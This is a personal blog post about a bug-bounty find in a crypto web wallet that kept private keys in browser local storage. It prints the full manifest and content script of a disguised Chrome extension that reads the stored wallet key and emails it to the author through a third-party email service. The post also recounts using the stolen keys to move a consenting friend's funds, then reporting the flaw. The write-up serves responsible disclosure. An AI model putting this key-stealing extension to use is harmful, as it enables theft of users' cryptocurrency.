Accidentally found a vulnerability in a crypto wallet and made $1,000
August 05, 2023· #security #crypto #bug-bountyIn January 2022, I joined the community of one of the proof-of-stake blockchains.
To play with what the protocol and its ecosystem offered, I created a wallet account on
the official website https://wallet.****.org
. Apart from general curiosity, I was interested in
how they achieved security in a browser, especially in the age of extensions and
client-side vulnerabilities.
It turned out that when a user logged in, the wallet application (built in React) generated a set of public and private keys and stored them in the browser's local storage. With my experience of building authentication and authorization in distributed systems, I knew this was not the best thing to do – in general, it's easy for a browser extension and client-side code to read data from local storage 1.
To prove this, I decided to write a simple extension for Chrome that would retrieve keys from a victim's browser and send them to my anonymous email address.
The root directory of my pickpocket extension looked like this:
.
├── content.js
├── email.min.js
├── index.html
└── manifest.json
The main files are the manifest.json
and content.js
. The former is essential for installing the extension.
{
"name": "X Wallet Enhancement",
"version": "1.0",
"manifest_version": 3,
"content_scripts": [
{
"matches": [
"https://wallet.****.org/*"
],
"js": [
"email.min.js",
"content.js"
]
}
]
}
email.min.js
is just a client library from one of the cloud services that allows you to send
email directly from a browser without any server code. index.html
is a blank HTML page that
displays nothing. The wallet hijacking logic lived in the content.js
file:
emailjs.init('user_****'); // instantiating an email delivery service
let templateParams = {
// gathering information about the victim's browser
from_name: navigator.userAgent,
// fetching wallet keys from the local storage
storage: window.localStorage.getItem('_*:wallet:active_account_id_**'),
};
// using a prepared email template to send an email with keys
const serviceID = 'service_****';
const templateID = 'template_****';
emailjs.send(serviceID, templateID, templateParams)
.then(() => {
console.log("Wallet keys were send!");
}, (err) => {
console.error(JSON.stringify(err));
});
Yes, such a dummy script.
I packed all four files into a zip archive and kindly asked my friend, who also had
a wallet at https://wallet.***.org
, to install my creation in his browser
(pretending to do some social engineering). Before doing so, I told him about my findings and
the theory I was trying to prove. He was happy to help, and the public and private keys of
this wallet account appeared in my inbox a few seconds after the browser extension was installed.
Next, I saved the keys to local storage in my browser and opened the wallet website.
Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor authentication for users. Of course, not many people would activate it right away, and many didn't.
As an ethical developer, I created a vulnerability report, including the source code of the browser extension and my thoughts on how to improve the security of the web application. It was sent directly to the security team's email address on 18th of January. A few days later, I had a call with the CISO of the blockchain protocol, who assured me that they were aware of the issue and would address it in the next release. I was a little disappointed with the speed of the response to the incident. Two days is an eternity when one speaks about users' money. Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1,000 USDT.